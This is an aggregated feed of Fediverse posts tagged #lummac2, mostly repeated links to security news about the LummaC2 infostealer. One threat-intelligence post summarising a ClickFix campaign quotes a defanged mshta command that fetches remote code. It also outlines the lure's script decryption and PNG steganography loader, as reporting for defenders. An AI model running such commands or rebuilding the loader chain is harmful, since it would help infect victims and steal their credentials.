#lummac2 — Public Fediverse posts
Live and recent posts from across the Fediverse tagged #lummac2, aggregated by home.social.
-
📬 Mit der Formel 1-Saison blühen auch die Streaming-Anbieter auf
#Datenschutz #Entertainment #Bitdefender #DNSPrefetch #Formel1 #Iframes #LummaC2 #MetaPixel #TrackingTools https://sc.tarnkappe.info/103b3f -
📬 Mit der Formel 1-Saison blühen auch die Streaming-Anbieter auf
#Datenschutz #Entertainment #Bitdefender #DNSPrefetch #Formel1 #Iframes #LummaC2 #MetaPixel #TrackingTools https://sc.tarnkappe.info/103b3f -
📬 Mit der Formel 1-Saison blühen auch die Streaming-Anbieter auf
#Datenschutz #Entertainment #Bitdefender #DNSPrefetch #Formel1 #Iframes #LummaC2 #MetaPixel #TrackingTools https://sc.tarnkappe.info/103b3f -
📬 Mit der Formel 1-Saison blühen auch die Streaming-Anbieter auf
#Datenschutz #Entertainment #Bitdefender #DNSPrefetch #Formel1 #Iframes #LummaC2 #MetaPixel #TrackingTools https://sc.tarnkappe.info/103b3f -
📬 Mit der Formel 1-Saison blühen auch die Streaming-Anbieter auf
#Datenschutz #Entertainment #Bitdefender #DNSPrefetch #Formel1 #Iframes #LummaC2 #MetaPixel #TrackingTools https://sc.tarnkappe.info/103b3f -
A North Korean state-sponsored hacker got infected by #LummaC2 infostealer, exposing links to the $1.4B Bybit crypto heist, malicious tools, infrastructure and OPSEC failure.
Read: https://hackread.com/north-korean-hacker-device-lummac2-infostealer-bybit/
-
Workforce shortage: a developer changed career to mine stone for Great Leader after infecting his own machine for testing, turning your operation into an online version of the imperialist video game Uplink.
-
🎯 Threat Intelligence
===================Opening: Huntress documents a multi‑stage ClickFix social engineering campaign that culminates in infostealing malware delivery. The campaign evolves from simple "Human Verification" lures to more convincing fake Windows Update full‑screen prompts that instruct victims to paste and run a command via Win+R. Observed payloads include LummaC2 and Rhadamanthys.
Technical Details: The initial lure auto‑copies a command to the clipboard; a representative command observed was mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz as recorded in the report. The lure page contains an encrypted JavaScript blob (ENC) and a KEY_HEX value; the script implements a small decryption pipeline (hexToKey -> b64ToUint8Array -> xorDecode -> uint8ToUtf8) to reconstruct second‑stage JavaScript. That second stage is injected via an in‑memory Blob URL and revoked after execution. Notably, the final loader does not simply append data to files: the malware encodes the final stages directly into PNG pixel data, leveraging specific color channels to reconstruct and decrypt the payload in memory.
Attack Chain Analysis:
• Initial Access: Social engineering via ClickFix pages disguised as human verification or Windows Update screens.
• Download: Initial fetch using mshta to retrieve compressed/encoded resources from remote hosts.
• Execution: Decrypted JavaScript is injected via Blob URLs and executed in the browser context.
• Loader: Steganographic PNGs deliver encrypted payloads embedded in pixel color channels; payloads are extracted and decrypted in memory.
• Payloads: Infostealers observed include LummaC2 and Rhadamanthys.Detection: Observable indicators include clipboard manipulation following page visit, mshta fetches to unusual hosts, presence of encrypted ENC/KEY_HEX constructs in page source, Blob URL creation and rapid revocation, and PNG payloads with nonstandard pixel encodings. Huntress highlighted the dynamic loading of encrypted JavaScript as an evasion technique aimed at defeating string‑based detections.
Mitigation: The source report does not provide specific defensive playbooks. Defensive teams should prioritize telemetry that captures mshta network fetches, suspicious Blob URL script injections, and anomalous image decoding activities on endpoints and in browsers.
References and Context: Findings attributed to Huntress; campaign timeline begins in October with observed evolution from basic robot checks to sophisticated Windows Update impersonation.
🔹 steganography #ClickFix #LummaC2 #Rhadamanthys #infostealer
🔗 Source: https://www.huntress.com/blog/clickfix-malware-buried-in-images
-
Gefälschte Windows‑Updates: Wie der ClickFix‑Angriff Malware auf Windows-PCs schleust
Ein neuer Einfall von Cyberkriminellen macht die Gefahr von gefälschten Windows‑Updates deutlich. Unter dem Namen ClickFix locken Angreifer Windows-Nutzer:innen mit einer täuschend echten Update‑Animation, die in einem Vollbild‑Browserfenster angezeigt wird. Während das Bild den Anschein erweckt, ein echtes Systemupdate zu installieren, steckt dahinter ein heimlicher Schadcode, der in den Pixeln eines Bildes verborgen ist.
Mehr: https://maniabel.work/archiv/564
#clickfixphishing #WindowsUpdate #ClickFix #PNGstagnography #LummaC2 #Rhadamanthys #infosec #infosecnews #BeDiS
-
Threat Intelligence Executive Report – Volume 2025, Number 4 – Source: news.sophos.com https://ciso2ciso.com/threat-intelligence-executive-report-volume-2025-number-4-source-news-sophos-com/ #rssfeedpostgeneratorecho #lawenforcementaction #CyberSecurityNews #namingconventions #ThreatResearch #nakedsecurity #nakedsecurity #FEATURED #featured #LummaC2 #Israel #israel #Iran
-
Response to CISA Advisory (AA25-141B): Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations – Source: securityboulevard.com https://ciso2ciso.com/response-to-cisa-advisory-aa25-141b-threat-actors-deploy-lummac2-malware-to-exfiltrate-sensitive-data-from-organizations-source-securityboulevard-com/ #rssfeedpostgeneratorecho #SecurityBloggersNetwork #adversaryemulation #Broad-BasedAttacks #CyberSecurityNews #SecurityBoulevard #CISAAdvisory #lummastealer #LummaC2 #CISA
-
Response to CISA Advisory (AA25-141B): Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations – Source: securityboulevard.com https://ciso2ciso.com/response-to-cisa-advisory-aa25-141b-threat-actors-deploy-lummac2-malware-to-exfiltrate-sensitive-data-from-organizations-source-securityboulevard-com/ #rssfeedpostgeneratorecho #SecurityBloggersNetwork #adversaryemulation #Broad-BasedAttacks #CyberSecurityNews #SecurityBoulevard #CISAAdvisory #lummastealer #LummaC2 #CISA
-
Response to CISA Advisory (AA25-141B): Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations – Source: securityboulevard.com https://ciso2ciso.com/response-to-cisa-advisory-aa25-141b-threat-actors-deploy-lummac2-malware-to-exfiltrate-sensitive-data-from-organizations-source-securityboulevard-com/ #rssfeedpostgeneratorecho #SecurityBloggersNetwork #adversaryemulation #Broad-BasedAttacks #CyberSecurityNews #SecurityBoulevard #CISAAdvisory #lummastealer #LummaC2 #CISA
-
Response to CISA Advisory (AA25-141B): Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations – Source: securityboulevard.com https://ciso2ciso.com/response-to-cisa-advisory-aa25-141b-threat-actors-deploy-lummac2-malware-to-exfiltrate-sensitive-data-from-organizations-source-securityboulevard-com/ #rssfeedpostgeneratorecho #SecurityBloggersNetwork #adversaryemulation #Broad-BasedAttacks #CyberSecurityNews #SecurityBoulevard #CISAAdvisory #lummastealer #LummaC2 #CISA
-
FBI Seizes Key Domains Behind LummaC2 Malware Used in Global Credential Theft https://thecyberexpress.com/lummac2-malware-network-disrupted/ #CryptocurrencyFraud #TheCyberExpressNews #crackdownonLummaC2 #FBI’sinvestigation #TheCyberExpress #LummaC2Malware #FirewallDaily #DomainSeizure #identitytheft #WhatisLummaC2 #CyberThreats #CyberNews #LummaC2
-
FBI Seizes Key Domains Behind LummaC2 Malware Used in Global Credential Theft https://thecyberexpress.com/lummac2-malware-network-disrupted/ #CryptocurrencyFraud #TheCyberExpressNews #crackdownonLummaC2 #FBI’sinvestigation #TheCyberExpress #LummaC2Malware #FirewallDaily #DomainSeizure #identitytheft #WhatisLummaC2 #CyberThreats #CyberNews #LummaC2
-
FBI Seizes Key Domains Behind LummaC2 Malware Used in Global Credential Theft https://thecyberexpress.com/lummac2-malware-network-disrupted/ #CryptocurrencyFraud #TheCyberExpressNews #crackdownonLummaC2 #FBI’sinvestigation #TheCyberExpress #LummaC2Malware #FirewallDaily #DomainSeizure #identitytheft #WhatisLummaC2 #CyberThreats #CyberNews #LummaC2
-
FBI Seizes Key Domains Behind LummaC2 Malware Used in Global Credential Theft https://thecyberexpress.com/lummac2-malware-network-disrupted/ #CryptocurrencyFraud #TheCyberExpressNews #crackdownonLummaC2 #FBI’sinvestigation #TheCyberExpress #LummaC2Malware #FirewallDaily #DomainSeizure #identitytheft #WhatisLummaC2 #CyberThreats #CyberNews #LummaC2
-
Happy Monday everyone!
The AhnLab, Inc. Security Intelligence Center (ASEC) has been monitoring infostealer malware that is disguised as illegal software and keygens and found that most of the malware that is distributed in this manner has been the #LummaC2 infostealer BUT there has been an increase in distribution of the #ACRStealer as well. What is pretty interesting is the technique they use for C2. In this case they have used Steam, telegra.ph, Google Docs (Form) and Google Docs (Presentation). Enjoy and Happy Hunting!
ACRStealer Infostealer Exploiting Google Docs as C2
https://asec.ahnlab.com/en/86390/Intel 471 Cyborg Security, Now Part of Intel 471 #ThreatIntel #ThreatHunting #ThreatDetection #HappyHunting #readoftheday
-
Hello again, FakeBat: popular loader returns after months-long hiatus https://www.malwarebytes.com/blog/cybercrime/2024/11/hello-again-fakebat-popular-loader-returns-after-months-long-hiatus #malvertising #Cybercrime #GoogleAds #fakebat #lummaC2 #malware #lumma
-
Hablando de todo un poco, nos están jodiendo pero bien los infostealers. Mucha actividad de #lummac2 últimamente.
-
Fake OnlyFans Checker Tool Infects Hackers with Lummac Stealer Malware https://hackread.com/onlyfans-checker-tool-hackers-lummac-stealer-malware/ #ScamsandFraud #Cybersecurity #Security #OnlyFans #Malware #LummaC2 #Lummac #Fraud
-
LummaC2 Infostealer: Resurgence of Obfuscated PowerShell Tactics - https://www.redpacketsecurity.com/lummac2-infostealer-resurfaces-with-obfuscated-powershell-tactics/
-
New LummaC2 Malware Variant Uses PowerShell, Obfuscation to Steal Data https://hackread.com/lummac2-malware-variant-powershell-obfuscation-steal-data/ #Cybersecurity #Security #security #Malware #LummaC2 #Lumma
-
Cómo roban cuentas de YouTube con infostealers https://blog.elhacker.net/2024/07/como-roban-cuentas-de-youtube-malware-infostealer.html #infostealer #lummac2 #youtube #vidar
-
A #SexToy marketed under "Spencer’s #Sexology #Pussy Power 8-Function Rechargeable Bullet #Vibrator" was infected with #Lumma #malware
http://bit.ly/4bToNPh
#LummaC2 Stealer is an information stealer that started to being distributed as Malware-As-A-Service (#MaaS) around 2022 Aug and coded by #Shamel
#Lumma targets #CryptoCurrency wallets
as #internet browser extensions
and with #2FA -two-factor authentication- -
LummaC2 Malware Deploys New Trigonometry-Based Anti-Sandbox Technique
https://thehackernews.com/2023/11/lummac2-malware-deploys-new.html #Cybercrime #Malware #LummaC2 -
Initially coded in the C programming language, LummaC2 has been available on underground forums since December 2022.
-
#LummaC2 Malware Deploys New Trigonometry-Based Anti-Sandbox Technique
https://thehackernews.com/2023/11/lummac2-malware-deploys-new.html